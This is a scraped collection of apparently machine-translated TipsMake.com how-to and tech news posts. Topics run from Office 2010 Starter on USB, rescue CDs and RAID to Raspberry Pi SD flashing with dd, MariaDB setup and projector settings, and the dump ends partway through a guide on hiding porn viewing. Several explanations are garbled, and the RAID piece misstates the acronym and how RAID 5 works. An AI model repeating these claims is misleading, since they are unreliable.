\u0026gt;\u0026gt;\u0026gt; What is the free version of Office 2010?\nOnly the Word 2010 Starter Beta and Excel 2010 Starter Beta with basic functions for text editing and spreadsheets, the Microsoft Office 2010 Starter Beta is quite compact, suitable for general users. You are also not concerned about copyright issues because Microsoft Office 2010 Starter Beta is provided by Microsoft for free.\n  Excel 2010 Starter Beta interface\nWhile Word 2010 and Excel 2010 have 9 commands, the Word 2010 Starter Beta and Excel 2010 Starter Beta interface consists of only 5 commands: File, Home, Insert, Page Layout, Mailings .\nAccording to the test, you can install the Microsoft Office 2010 Starter Beta on a computer that has installed Microsoft Office 2003 to use the Word 2010 Starter Beta in parallel with Word 2003, and the Excel 2010 Starter Beta with Excel 2003.\n  Word 2010 Starter Beta interface\nFirst, download the Microsoft Office 2010 Starter Beta online installation file here (capacity is only 1.54MB).\nAfter downloading, run the SetupOffice2010Starter.exe file to begin the online installation of Microsoft Office 2010 Starter Beta in four steps (requires a computer to connect to the Internet) .\nAfter installation, you attach the USB drive that will contain Microsoft Office 2010 Starter Beta to your computer, then go to Start menu \u0026gt; All Programs \u0026gt; Microsoft Office Starter (English) to see all Microsoft Office 2010 Starter Beta applications, including Microsoft Office To-Go Device Manager 2010 (Beta).\n  In the dialog box that appears after clicking this app, press the Start button. The process to download the necessary components to help you manage Microsoft Office 2010 Starter Beta USB drive will take place later (it may take more than 10 minutes).\nComplete and go to Manage Devices dialog box, click the USB drive to install Microsoft Office 2010 Starter Beta (about 338MB) and then click Install .\nWhen the dialog box with the Installation Completed message appears, it is complete. If you want to continue installing Microsoft Office 2010 Starter Beta on another USB drive, press the Create Another Device button.\nTo exploit Microsoft Office 2010 Starter Beta from a USB drive, open the USB drive and then double-click the Office.exe file (the remaining data will be in the VirtualApplications hidden folder). In the Click the application dialog you wish to launch below appear, click the Microsoft Word 2010 Starter icon or Microsoft Excel 2010 Starter to open the corresponding application interface.\n  Select the application you want to use from the USB drive\nThe Quick Repair link below should be used to quickly fix the Microsoft Office 2010 Starter Beta installer on a USB drive. In the dialog box that opens, click the Yes button to confirm.\nNote : If you need to remove Microsoft Office 2010 Starter Beta from the USB drive, you also first activate Microsoft Office To-Go Device Manager 2010 (Beta) from Start menu \u0026gt; All Programs \u0026gt; Microsoft Office Starter (English) , click Select Microsoft Office 2010 Starter Beta USB drive from the Manage Devices dialog box that opens, and then click the Uninstall button below.\n  Note : Microsoft Office 2010 Starter Beta can only be installed on Windows 7 or Windows Vista SP1 operating systems\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKaqZqeWm7aksYxrZ2poXajBor7TnqlmmpWprm6y0aikZq2jl3qlvsivnA%3D%3D\n","link":"/post/use-ms-office-2010-starter-beta-from-usb-drive/","section":"post","tags":null,"title":"Use MS Office 2010 Starter Beta from USB drive"},{"body":"In the previous tutorial, TipsMake.com introduced how to handle and fix infected computer with Kaspersky Rescue CD tool , and this time we continue to mention another support tool. , that is BitDefender Rescue CD . Here are some key and basic features of this application.\nFirst, visit here and download the latest BitDefender Rescue CD version to your computer, then use ImgBurn to burn the * .iso file to a CD or DVD:\n  For computers without a CD / DVD drive, download the UnetBootin program and a USB drive to use:\n  In Diskimage , select the ISO format and point to the downloaded BitDefender Rescue CD file, the device - Type is USB and select the correct USB drive in the system (eg E, F .) and click OK .\nStart using:\nWhen booting the system from CD or USB, select the display language mode (usually English):\n  If the original resolution is too small, you can change it again via Menu\u0026gt; Settings\u0026gt; Display:\n  For example, here we switch to the popular 1024 × 768 mode:\n  After accepting the terms of use agreement, the scanning process will automatically start:\n  If you want to access partitions on your hard drive, use File Manager support :\n  Also included is the TestDisk data recovery utility :\n  ncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkm6GkmbKnsc2dnKtloprApMHEZpqdZZ%2BjerW0xGagp56VmMGmsIycpqaopamysw%3D%3D\n","link":"/post/using-bitdefender-rescue-cd-on-the-infected-computer/","section":"post","tags":null,"title":"Using BitDefender Rescue CD on the infected computer"},{"body":"At an event in China, Vertu announced the new generation of all-new luxury smartphones Vertu Aster P, marking a return after more than a year since Baferton Ltd. - a company from Turkey Baferton Ltd. repurchase. Of course, the newly launched model has an extremely expensive price as its tradition.\nVertu Aster P is still hand-crafted in the UK. The frame of Aster P is made of Titanium level 5 material, which is 2 times more rigid than steel but has a much lighter weight. The screen is protected by a 133-carat monolithic sapphire crystal, with a hardness that is second only to diamond. The skin is covered with leather (a combination of crocodile skin and lizard skin) with many different colors for users to choose including Ink Black, White, and Dazzling Gold.\n  Vertu Aster P supports dual SIM. SIM slot located under two metal wings can open like bird wings. The signature of the craftsman of that phone was engraved underneath this metal wing.\n   Aster P is equipped with Snapdragon 660 processor, 6GB RAM, 128GB internal memory, AMOLED screen with 4.9-inch size, full HD resolution, selfie 20MP f / 2.2 camera and 12MP main camera. The device's battery capacity is 3200mAh, with fast charging standard built-in Quick Charge 3.0.\n  Vertu Aster P is equipped with USB-C port, supports NFC, Bluetooth 5.0, dual-band Wi-Fi and many different 4G LTE bands. The device comes pre-installed with Android 8.1 Oreo platform.\nAster P owners can access the UK-standard professional support service 24/7 via the special ruby ​​red button located on the side of the device. In addition, Aster P owners also have access to other special events organized by Vertu.\n  Aster P will be officially launched on October 30. The price of the extremely expensive Aster P with the color version of Ink Black and White is about 5167 USD, the Dazzling Gold color is approximately 14146 USD. Currently, customers can pre-order Vertu Aster P versions on JD.com.\n  In addition, the Aster P has a special Baroque version with more bright color options including Blue, Twilight Orange, and Caramel Brown but information about the price and official release date is kept private.\nCustomers who buy Aster P can make their own customized requirements for their phones such as adding gems.\nSee more:\nWhat makes Vertu phones the most expensive brand in the world? The 10 most exotic 'special edition' phones in history Stunned with iPhone Xs for nearly 70 billion VND made of meteors ncG1vNJzZmismaXArq3KnmWcp51kw6a%2B065kmqukmr9uvIyonZ%2Bhk56urbjYZqOarZ6YtaawjKyrmqqknruoec%2BroJydXaSzboGPaWdmraOZ\n","link":"/post/vertu-aster-p-officially-launched-starting-price-of-5000-usd/","section":"post","tags":null,"title":"Vertu Aster P officially launched, starting price of 5000 USD"},{"body":"Raid is increasingly popular and used by many people because it is a data protection solution, but it also allows to increase the speed and performance of writing / reading data. Here TipsMake.com will help you learn about Raid and the types of Raid currently popular.\n  1. What is raid? Raid stands for Redundant Array of Inexpensive Disks (Backup Disk System). Initially, RAID was used as a protection solution because it allowed to write data to multiple hard disks at the same time. Later, RAID has many variants that not only ensure data safety but also significantly increase the speed of accessing data from the hard disk. RAID was first developed in 1987 at the University of California at Berkeley to pair smaller hard drives through software to create a larger capacity disk system so that you don't have to buy a new large hard drive. , Cost savings.\n2. Common types of RAID Regarding classification, there are many types of Raid being used such as Raid 0, Raid 1, Raid 4, Raid 5, Raid 6, Raid 0 + 1 . But we will learn the common types of RAID that are 4 types of Raid: Raid 0 - Raid 1 - Raid 5 - Raid 10\n- Raid 0 : RAID is the preferred type of users due to the ability to improve the data exchange performance of the hard disk. Requiring at least two hard disks, RAID 0 allows the computer to write data to them in a special way called Striping. Data will be divided into equal parts. For example, if we use two 80GB hard drives, our disk system is 160GB. So it's no surprise that it's the number one choice for speed enthusiasts.\n- Raid 1 : is the basic type of Raid that is used quite a lot today due to its ability to achieve data safety. To install Raid 1, just like Raid 0 requires at least 2 hard drives to store. But unlike Raid 0, Raid 1 ensures more data security because data is written to two identical drives (Mirroring). For network administrators or those who need to manage a lot of important information, a RAID 1 system is indispensable.\n- Raid 5 : An improvement of Raid 0 by providing more data recovery mechanism. In addition to the drives used to write data, Raid 5 will use additional drives to hold data copies of the recording drives. In case one of the recorders fails, there will be replacement data. Therefore Raid 5 uses a minimum of 3 hard drives.\n- Raid 10 : is a combination of 2 common types of Raid 0 and Raid 1. For Raid 10, you need to use at least 4 hard drives, of which 2 drives store data as Striping and 2 data drives. Data in the form of Mirroring.\n  3. Compare similarities and differences between common Raid types Raid 0\nRaid 1\nRaid 5\nRaid 10\nSame\nUsed to store data\nDifferent\nNumber of drives\nMinimum of 2 drives required\nMinimum of 2 drives required\nMinimum of 3 drives are required\nMinimum of 4 drives required\nAdvantages and disadvantages\n-Use: Write speed to read fast\n-Disadvantage: There is a risk of data loss\n-Use: Data security\n-Disadvantage: The performance is not high, raising the cost\n-Use: Improve performance, data safety\n-Difficult: generate 1 more disk just for normal storage\n-Use: Store fast, safely, improve performance\n-Disadvantage: High cost\nTechnical hosting\nStriping\nMirroring\nMirroring and Striping\nMirroring and Striping\nPriority object\nServices that need to store and access at high speed\nServices that require data security\nThese services have a small number of accesses and requests\nSuitable for all audiences, services\nAbove is the basic concept of RAID and classification of common types of RAID used by many people. Hopefully the article will help you choose the type of Raid appropriate for your intended use. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWilralecKopKannmLBurzErGSonl2nrqqwjJympqiRp7JuwMeeoKtlo566qrjAq6CtoZWoeqK6w2abop6Wmr%2BmusKeqg%3D%3D\n","link":"/post/what-is-raid-common-types-of-raid-compare-their-similarities-and-differences/","section":"post","tags":null,"title":"What is raid? Common types of RAID compare their similarities and differences"},{"body":"Microsoft patched drive-by errors in MarchMicrosoft yesterday released three security updates that patch four vulnerabilities in Windows and Office.\n Upgrade Wi-Fi security from WEP to WPA2We already know that WEP security is very easy to crack, this security technology only protects your wireless network from ordinary users. Also, for hackers, even new hackers can\n Protect the entire network with UntangleIn this tutorial we will introduce you to the Untangle platform, which is a platform you can install on a dedicated computer or run as a virtual machine (VM).\n Encrypt the Windows drive with DiskCryptorDiskCryptor is a tool that allows you to encrypt your entire Windows drive, allowing you to easily protect your entire system drive, keeping Windows and all files.\n Bkis is about to stop providing Bkav HomeFrom the beginning of March, Bkis has launched a trial version of Bkav Security Essential software (Bkav SE) on major technology forums such as Vozforums, Softvnn, Gamevn, vn-zoom\n Opera released web page debugging toolOn March 14, 2011, software maker Opera announced an embedded web browser, a beta toolkit, called Dragonfly, that could help developers discover errors in their complex websites.\n Android security: 6 tips to help protect Google PhoneNow it's time for us to keep more eyes on Google Android security. The 6 tips and tricks below will help you do this.\n Protect user location information in IE 9 and Firefox 4If you still wonder and don't understand why online news websites or advertisers can know your current location, upgrade your browser to IE 9 or Firefox 4. ..\n Defend against attacks inside the network environmentIn this article we will show you some basic steps that can be used to protect you from attacks coming from within the network environment.\n Privacy protection: avoid identity theftMost online shop owners focus on maintaining privacy about their credit card data. This is also quite good. Even so, privacy is not the only concern you have when you want to\n Surf the web more safely with the BufferZone Pro applicationFor most computer users, there are still many mistakes in how to use and work every day. They think that if you don't access unhealthy websites, don't click strange, unclear\n Online privacy protectionBelow is a guide to security features you should consider before logging in to any new online service.\n Instructions for removing the fake Win 7 Anti-Spyware 2011 softwareIn the following article, we will delve into behavioral analysis and how to eliminate the fake security program Win 7 Anti-Spyware 2011. In fact, this is a malicious code that is\n Delete personal information onlineThere are many guides to help users protect their reputation online as well as ways to protect privacy. But do you disappear completely from the web world?\n Security for web applicationsIn recent years, e-commerce services (e-commerce) such as online payment, ebanking online transactions ... have developed constantly.\n Security in difficult economic timesWhen new servers or computers are allowed to be invested, security is another cost that causes you a headache. However, what if you can protect your network with your network\n Security enhancement after Vietnamnet 'incident'After VietNamNet was attacked, causing this website to be paralyzed until the afternoon of November 22, when it returned to operation in a slow state, many Vietnamese websites have\n 4 ways to surf the web more safely with IEFind out some ways to help you not worry every time you browse the web with the Windows browser.\n New DNS system based on P2P architectureWith the current DNS system, the US almost completely controls the Internet through the domain name server system they hold.\n Notable security toolkit for 2010In the following 6 sections, we will provide you with important core anti-virus and spyware software, as well as other important items such as browser security, ...\nncG1vNJzZmismaXArq3KnmWcp51ksHCvzqanrqyVp3q0scKuqaKsqWS9bn2R\n","link":"/post/computer-security-page-12/","section":"post","tags":null,"title":"Computer security - Page 12"},{"body":"Google Allo is Google 's new messaging application. The application has a built-in virtual assistant Google Assistant that makes conversation easier and more convenient. The app is available as a free version on both iOS and Android platforms.\nAnd one of the most prominent features of Google Allo is the chat feature in incognito mode. All user conversations will be completely 'private' and even Google will not be accessible. Everything will be encrypted 'end-to-end', and messages when sent in this mode will be automatically deleted after a certain period of time.\nHowever, after installing the application, many users reflect that on the screen of the device they receive an error message that unfortunately Google Allo has Stopped . So how to fix this error and to continue using Google Allo, please refer to the following article of Network Administrator.\n  If you haven't installed Google Allo on your device, you can install Google Allo to your device and install it here:\nDownload Google Allo for Android devices here. Download Google Allo for iOS devices here. 1. Solution 1 On Samsung device: First start your device inSafe Mode.To do this, proceed to power off your device. Next open your device, during startup, press and hold theVolumedown button. After the boot process finishes, release the Volume Down button, and you'll find the Safe Mode message in the bottom left corner of the screen. Now you are in Safe Mode, click theApp Drawer and navigate to the Settingsapp. On the Settings window, find and openApplication Manager (Application / Apps) =\u0026gt; swipe to All tab to open all applications =\u0026gt; select Google Allo. On the next window, find and clickClear Data and Clear Cacheto clear the Google Allo cache. Finally restart your device. Check if the error is still there. On Xperia device: Press and holdthe Power button. Press and hold the Poweroffbutton. ClickOK on Safe Modemessage.Your device will boot in Safe Mode. On theHome Screen screen , click the Applicationsicon. Scroll down to find and clickSettings. Scroll down toDevice , then click on Apps. SelectGoogle Allo. ClickClear Data and Clear Cacheto clear Google Allo data and cache. 2. Solution 2 If you apply the above solution and still cannot fix the error, you can apply the next solution to delete the cache on your device.\nTo do this thing:\nPower off your mobile device. Next, open up your device, during startup you press and hold down theVolume Down button + Power button at the same time . After the boot process is finished, release your hands from the buttons as quickly as possible. Use the VolumeUp and Down buttons to navigate to Wipe Cache Partition, then use the Power button to select and delete device cache. After the process has finished, restart your device and check if the error is still there. 3. Solution 3 Power off your device.\nPress and holdthe Home button + Power button + Volume up button. After seeing the device logo, release your hands from the Power button but still press andhold the Home button and the Volume up button. Now you will see the Android Logo, release your hand from the Home button and the Volume up button. Use the Volume down button to navigate and markWipe data / Factory reset. Use the Power button to select an option. On the next menu, selectYeswhen notified. Wait for the process to finish, use the Power button to selectReboot system now. 4. Solution 4 The final solution to troubleshooting Google Allo has Stopped error is to reinstall Google Allo.\nTo uninstall Google Allo, on the Home Screen =\u0026gt; Google Play Store screen =\u0026gt; Click the Menu icon in the top left corner (3 dash line icon) =\u0026gt; My Apps \u0026amp; Game =\u0026gt; All .\nNow the screen shows a list of all applications installed on your Android device, just find Google Allo, then uninstall the application, download and install Google Allo again.\nRefer to some of the following articles: Some useful tricks Google Allo users should know All ways to install and set up Google Allo Decode all errors that appear on Google Play and how to fix them Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYsKvss6rq66mkamyrcWMoKaon5yaeqK4y6hkoZmjYsC1u8%2BpnJ1llae%2FsL6MqKVmmZ6Zv7C1ww%3D%3D\n","link":"/post/fix-error-unfortunately-google-allo-has-stopped-error-on-android/","section":"post","tags":null,"title":"Fix error 'Unfortunately Google Allo has Stopped Error on Android'"},{"body":"Owning a brand new Raspberry Pi means you'll have a 100% new installation of your favorite operating system. Whether it's a recommended Raspbian or an IoT platform like Windows 10 IoT Core, you'll need to prepare an SD card to use with your Raspberry Pi before booting.\nFirst, you'll need an SD card that's big enough for the operating system - usually 8GB or larger. Here's how you can format an SD card for the Raspberry Pi.\nInstructions for formatting the SD card for use with the Raspberry Pi Use Etcher to format and flash SD cards Use dd to format and flash SD card Format SD card manually on Windows and macOS Format SD card manually on Linux Prepare Pi Use Etcher to format and flash SD cards The simplest option is to use balenaEtcher to flash and format the SD card. It will flash the operating system's ISO files, creating the exact partition table on the same SD card. balenaEtcher is available for macOS, Linux and Windows.\n1. First, download and install balenaEtcher. You also need to have the selected ISO file ready. You can download Raspbian from the Raspberry Pi Foundation.\n2. Open balenaEtcher after installation. First, select the operating system ISO by clicking 'SelectImage' , then the ISO file.\n  3. Click 'Select Target' and select SD card.\n  4. Click Flash and wait for balenaEtcher to finish creating the partition, copying files and flashing.\n  The existing partition table of SD card is also completely erased. Whether new or old, if you want to install the operating system on a Raspberry Pi easily, balenaEtcher is the best method.\nUse dd to format and flash SD card If you're running Linux or macOS, you can also flash your operating system from the terminal using dd.\nTo get started, confirm that the SD card is detected. Open a terminal and on macOS, enter diskutil list and locate SD card (for example, disk4 ). On Linux, enter lsblk and find the SD card (e.g. / dev / sdb ), as well as all current partitions on that drive (e.g. / dev / sdb1, / dev / sdb2 , etc.) .\nDisconnect the device. On macOS, type:\ndiskutil unmountDisk /dev/diskX  Replace 'X' with the drive number, located with diskutil. On Linux, enter:\nsudo umount /dev/sdbX  Replace sdb with SD card and X with partition number.\nTake action for every partition on that drive (for example: '/ dev / sdb1,' '/ dev / sdb2.', Etc.).\nIf you have an ISO file, you first need to create the IMG file. You can use dd to do this. On macOS, type:\nhdiutil convert iso-file.iso -format UDRW -o img-file.img  On Linux, enter:\nsudo dd if=iso-file.iso of=img-file.img  Wait for the process to complete before continuing.\nCopy the contents of the IMG file with dd. For macOS, enter:\nsudo dd bs=1m if=iso.img of=/dev/rdiskX conv=sync  Replace 'rdiskX' with the number of disks you have found with diskutil (and remember to use rdisk instead of the disk here). For Linux, enter:\nsudo dd bs=1m if=iso.img of=/dev/sdX conv=fsync  Replace sdX with the letter that represents the SD card (e.g. sdb ).\nOnce completed, disconnect the drives using the instructions above and the SD card will be ready for use.\nFormat SD card manually on Windows and macOS Another approach is to manually format the SD card and use a simple installer like NOOBS to directly install the operating system. You can do that by using the SD Memory Card Formatter tool on Windows and macOS.\n1. Download and install SD Memory Card Formatter for your specific operating system, then open it.\n2. Select SD card and click 'Format', Click mode 'Yes' to confirm.\n  3. After completing the steps, you will receive a notice of completion. Click OK to exit.\n  You can then copy the contents of the NOOBS zip archive to the FAT32 formatted card. Insert the SD card into the Raspberry Pi and power it, then follow the on-screen instructions to install the operating system.\nFormat SD card manually on Linux The best approach to manually formatting on Linux (to use the NOOBs installer) is to use GParted to create partitions.\n1. Download and install GParted, then open it after installation. From the drop-down menu in the right corner, select SD card.\n2. If you have more than one partition, select them one by one, then click the 'Delete' button, then select 'Apply'. Click 'New' and select FAT32 as your file system, click the 'Add' button , then select 'Apply' and confirm the changes.\n  3. If not, right click, go to 'Format to' and select FAT32, then click 'Apply'.\nNow the card will be formatted as FAT32, ready for you to transfer NOOBS files there manually.\nPrepare Pi Once the SD card has been formatted and flashed, you can switch to setting up the Raspberry Pi. You can then use it as a hub for all types of projects, from retro game consoles to home automation servers.\nWhat do you plan to use the Raspberry Pi for? Let everyone know the project ideas in the comments below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2BzJqrZquUYrCivsNmnaiqXarApnnWoquhZaKWwLGuxKupsmWgng%3D%3D\n","link":"/post/format-sd-card-for-use-with-raspberry-pi/","section":"post","tags":null,"title":"Format SD card for use with Raspberry Pi"},{"body":"Qatar is one of the hottest countries on Earth with its peak temperature reaching a record level of 50.4 degrees Celsius in July 2010. Summer in this country rarely has temperatures below 32 degrees C. High temperatures, increased humidity in the air, less clouds and rain in the summer makes the people here feel extremely uncomfortable.\nTemperatures in Qatar are increasingly hot due to climate change. This led the Qatari authorities to think of a plan to install air conditioners . outdoors so that people can survive the summer sun.\n  Currently, in outdoor areas such as along the sidewalks, markets, outdoor rain centers . in this country has been installed huge air-conditioning systems.\nAccording to the Washington Post, these huge outdoor air-conditioning systems work similarly to indoor air conditioners, releasing cold air through a steam-cooled system.\n  According to a statistic, in Qatar, 60% of the total power consumption is used for air conditioning, 3 times higher than the US, 6 times more than China and India.\nHowever, Independent is concerned that installing outdoor air conditioning increases carbon emissions into the environment and makes global warming worse.\nQatar is the venue for the 2022 World Cup Final Round because the temperatures are too high, so the event takes place in winter instead of summer like previous World Cups. However, the heat was still thought to be excessive for foreign athletes and fans.\n  To solve this problem, Qatar has even installed air conditioning in the stadium, one of eight stadiums that will take place matches in the 2022 World Cup finals. A system of small vents Installed at ankle level just below each seat in the stadium. The holes will blow out cold air to help support the fans instead of cooling the upper part of the stadium.\n  The level of play of Qatar hardly any country can match, they also installed a huge air-conditioning system at KhalifA international stadium. Around the stadium is installed about 500 jet nozzles blowing cold air, keeping the temperature at about 23 degrees C. The water is cooled from a center about 1km away, then led to the stadium. dynamic.\n  Thanks to this huge air-conditioning system, the inside of the stadium is always cool and comfortable while the outside temperature is as high as 46.7 degrees Celsius.\nThis is how the Japanese responded to disasters, right to the point of technological power to the teeth Chinese students wear a concentration meter to help parents and teachers know when they are not focused ncG1vNJzZmismaXArq3KnmWcp51ktbDAjG5nZpyVnL%2BmsdJmmmapkamus3nIp6qtmZyhsqV5x66enmWfqsGlu86rZJqhomKwsLrDoquip56eu6h506hkoZ2cpXqxsc6po55llpqyrXnCqKalnaI%3D\n","link":"/post/hot-50-degrees-c-qatar-installed-huge-outdoor-air-conditioning-to-help-people-feel-cooler/","section":"post","tags":null,"title":"Hot 50 degrees C, Qatar installed huge outdoor air conditioning to help people feel cooler"},{"body":"One of the minor errors for those who often have to work with online data on Chrome or Firefox, is to lose data when accidentally accidentally pressing the Backspace button. And in order to limit this situation, in addition to using a back shortcut combination with the same function as Backspace, you can also use the Backstop utility. In this article, we will show you how to install the Backstop utility to disable the Backspace key on Google Chrome or Firefox.\nHow to disable Backspace key on Chrome First of all, download the Backstop utility on Chrome according to the link below\nDownload the Backstop utility on Chrome Step 1: Next click Add to Chrome to install the utility.\n  Finally click Add a widget on the browser.\n  Step 2: After that, you will see the icon of Backstop at the end of the address bar, followed by the notice as shown below.\n  Step 3: Click the 3 dashes icon on the Chrome interface and select Settings (Settings).\n  Step 4: Next, on the left, find the Extension section. Go to the Backstop utility and check the box Allow in incognito (Allow in incognito) right below.\n  As soon as the utility works on Chrome, we will limit the loss of data when the wrong Backspace button is mistakenly clicked while browsing the web even with incognito mode.\nHow to disable Backspace on Firefox To block the Backspace button on Firefox, we can use the feature right on the browser, without having to install the utility like on the Chrome browser.\nStep 1: You open Firefox browser. At the address bar, type keywords about: config . When the message appears, click I will be careful. I promise! (I'll be careful, I promise!).\n  Step 2: In the new interface, the Search section, enter the backspace keyword to open a list of editing options.\n  Step 3: Right after that appears the browser.backspace_action option. Double-click this option.\n  Step 4: Appears the Enter integer value box. To disable the Backspace key , we'll enter the number 2 and click OK to disable the Backspace button on Firefox.\nTo activate the Backspace button again , enter 0 . If using number 1, the Backspace button will have the same function as the Page Up key.\n  The above is a guide to cancel activation, using Backspace key to avoid losing data online on both Google Chrome and Firefox browsers with a simple way. This is a common mistake when we work with online content on the browser.\nRefer to the following articles: Fix errors not typing Vietnamese on Chrome The trick is to reduce RAM when using the Chrome browser Create and manage multiple profiles in Firefox I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmmZqbm6i9oq%2FEZqKesV2ku26vx6umpp1dlrulecWiqZ6en60%3D\n","link":"/post/how-to-disable-backspace-key-on-chrome-and-firefox/","section":"post","tags":null,"title":"How to disable BackSpace key on Chrome and Firefox"},{"body":"Today projectors are quite popular office equipment. Especially in companies, offices, schools. However, knowledge about using the projector is not everyone knows. Many users are still not familiar with this device and sometimes some small errors are handled very simply but cause many problems for users. One of those errors is the situation where the office projector image is overturned.\n  Let's learn this article to know how to fix it.\nMore reference: Compare advantages and disadvantages of LCD and DLP projectors\nI. Causes and ways to fix projector error overturned image 1. Causes Projectors are often designed with a stand for the purpose of placing on a fixed surface such as a table, shelf . However many people want fixation by hanging on a wall or ceiling.\nWhen hung on the ceiling, the projector is facing upwards. This makes the image of the projector also reverse.\n2. Remedies To fix this you will adjust the settings, depending on the model of the projector each manufacturer will have different ways of being happy. You can refer to the following custom words:\nSony projector : Select Menu \u0026gt;\u0026gt; Installation \u0026gt;\u0026gt; M ageFlip \u0026gt;\u0026gt; choose HV mode (Flips the picture horizontally and vertically) Epson projectors : Choose Menu \u0026gt;\u0026gt; Extended \u0026gt;\u0026gt; Projection \u0026gt;\u0026gt; Front / Ceiling Panasonic projector : Select Menu \u0026gt;\u0026gt; Projector setup \u0026gt;\u0026gt; Installation \u0026gt;\u0026gt; Select Front / Ceiling mode Projector Nec : Select Menu \u0026gt;\u0026gt; Setup \u0026gt;\u0026gt; Installation \u0026gt;\u0026gt; Orinentation Select Front / Ceiling mode BenQ Projector : Select Menu \u0026gt;\u0026gt; Setup (Basic) \u0026gt;\u0026gt; Projector Position \u0026gt;\u0026gt; Select Front / Ceiling mode Infocus projector : Select Menu \u0026gt;\u0026gt; Image setup \u0026gt;\u0026gt; Ceiling mount \u0026gt;\u0026gt; Select the appropriate mode Optoma projector : Select Menu \u0026gt;\u0026gt; Seting \u0026gt;\u0026gt; Projection \u0026gt;\u0026gt; Choose Ceiling mout (Projector upside down icon) II. Some models are the most popular choice today 1. Epson EB - X05 projector - Price on META: VND 10,400,000 The Epson EB - X05 projector uses the most advanced 3LCD presentation technology, which enhances the display of colors, making images more realistic and engaging. Even if the machine is projected in bright space, the Epson EB - X05 can still deliver the best picture quality and lighting that no other camera could have.\nEpson EB - X05 is developed and fully integrated with connection ports including: HDMI, Composite . allowing connection of mobile phones, laptops, HD 3D movie players, K + players.\nThe Epson EB-X05 has a wireless presentation capability, making it easy for users to connect and share any presentation content through a network environment.\n  Specifications:\nWarranty: 24 months Brand: Japan Capacity: 210W 2. Epson EB-2155W projector - Price on META: VND 29,300,000 The Epson EB-2155W projector uses a large light intensity of 5,000 Ansi lumens, making it the best color display. Most prominent is the LCD technology line 0.59 \"with high contrast of 15,000: 1, so that the image reproduced on the screen will have more authenticity and depth.\nThe Epson EB-2155W comes with a combination of state-of-the-art and state-of-the-art technologies that give you perfect sharpness, let you enjoy great HD movies at home, or watch K + football with friends and people. Dear.\n  Specifications:\nWarranty: 24 months for camera body, 12 months for light bulbs Brand: Japan Scanning frequency: 100Hz - 120Hz Light capacity: 215W 3. Optoma XA510 projector - Price on META: VND 9,500,000 The projector is an office equipment that provides support for companies, schools and cinemas . Optoma XA510 meets the demand for popular presentations today.\nOptoma XA510 projector can be projected in advance, ceiling projection, rear projection handy. The projector with advanced DLP technology delivers a bright intensity of 3600 Ansi lumens for clear, unblinking images.\n  Specifications:\nWarranty: 24 months for the camera body Made in China Lamp life: 15,000 hours ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmp6unmpqwtbvRZqavnaKpwrO6xJ1kraCVYraurcaeZJ2top67qHnToZxmqKKawKa605qroqee\n","link":"/post/how-to-fix-the-projector-overturned-the-image-during-the-presentation/","section":"post","tags":null,"title":"How to fix the projector overturned the image during the presentation"},{"body":"Hello everyone, if you are a programmer, you are probably familiar with many types of database management systems such as: MySQL, SQL server . right?\nMariaDB is also a database management system but is a branch of MySQL, so there are a few differences between MariaDB and MySQL.\nMariaDB inherits almost all of the properties of MySQL, but it is optimized for storage mechanisms and MariaDB is completely free - 100% Free.\nIn this article, I will guide you how to install MariaDB on Windows 10 operating system in the most detailed way. Ok, let's get started now!\nHow to install MariaDB on Windows 10 operating system + Step 1: First, download the installation file here. Please note that you choose the correct operating system and corresponding version in item (2).\n    + Step 2: After the download is complete, double-click the file to start the installation =\u0026gt; Click Next to continue.\n  Next, you tick the I accept the terms in the License Agreement =\u0026gt; then click Next to continue.\n  + Step 3: In this step, there are a lot of notes, if you do leave the default, you can choose Next and continue. And if you want to change, then: (1) Components to be installed with MariaDB (2) Hard drive space is occupied after installation (depends on what you chose in step 1) (3) MariaDB installation default location (4) You can click Browse to change the installation location of MariaDB   + Step 4: In this next step, you will configure MariaDB, mainly choosing a password. You can leave strong or weak passwords depending on your desire as well as convenience level.\n=\u0026gt; Then click Next to continue.\n  + Step 5: At this point, we still continue to configure the components such as: Server Name, TCP port, Buffer pool size and Size.\nHere I only pay attention to the TCP port because if you do install MySQL, for example, the TCP port of MySQL is 3306.\nIf you do not change to 3307 (or another port, as long as it is not used) as shown below, you will not be able to run MariaDB, because MariaDB also runs port 3306 by default.\n  + Step 6: After the configuration is complete, click Next to go to the next step which is the installation step, the installation process may take 2-4 minutes depending on your computer configuration and Internet speed.\n  + Step 7: After the configuration is successful, confirm it by pressing the Finish button to complete the installation.\n  + Step 8: There are also many steps in this step, you are interested in steps 1, 2, 3 used to create a connection to the application. Note the information about username and Password, Port then click Open.\n  In some cases you have not saved the changes in the newly created connection, then click Yes to confirm saving and continue as shown below.\n=\u0026gt; Then click Open to run HeidiSQL (this is similar to MySQL Workbench in this MySQL).\n  And this is the interface of HeidiSQL.\n  Conclude So in this article I showed you how to install MariaDB on Windows 10 - a fairly powerful and convenient database management system today.\nMariaDB is a free solution and it is being used by many businesses and companies. Okay, see you in the following posts!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpJqqmZaxo3nOp2SwoZ6ZvLi%2FjGpnZqegmr%2BiwMinnmarqajBprk%3D\n","link":"/post/how-to-install-mariadb-on-windows-10-operating-system/","section":"post","tags":null,"title":"How to install MariaDB on Windows 10 operating system"},{"body":" Lots of men and women watch porn, but getting caught can still be quite embarrassing. Fortunately, there are simple steps you can take to prevent yourself from getting caught. You'll want to hide your browser history on your devices so...\nPart 1of 3:\nAvoiding Being Caught in the Act  Keep another window or tab open to quickly switch to if someone walks in. It doesn't matter what other website you have open, as long as it makes it look like you're doing something besides watching porn. For example, you could have Facebook open in another window on your computer or a blog open in a separate tab on your mobile device. You can also just exit out of the website or file that you're looking at, but it might look suspicious if you don't have anything up on your screen when someone walks in.   Avoid watching porn with headphones in if other people are at home. Although headphones are better than having the sound playing out loud from the speakers on your computer or mobile device, they'll make it harder to hear if anyone's coming. If there's a chance that someone will walk in on you, it's better to skip the headphones and just mute whatever you're watching. If you really want to use headphones, try leaving one of the earbuds out so it's easier to hear what's going on around you.   Face the door when you're watching porn so it's easy to see someone come in. If your back is turned to the door, you might not notice someone walk in on you. It also makes it easier for someone to see your screen. Instead, try to face the door so your screen is 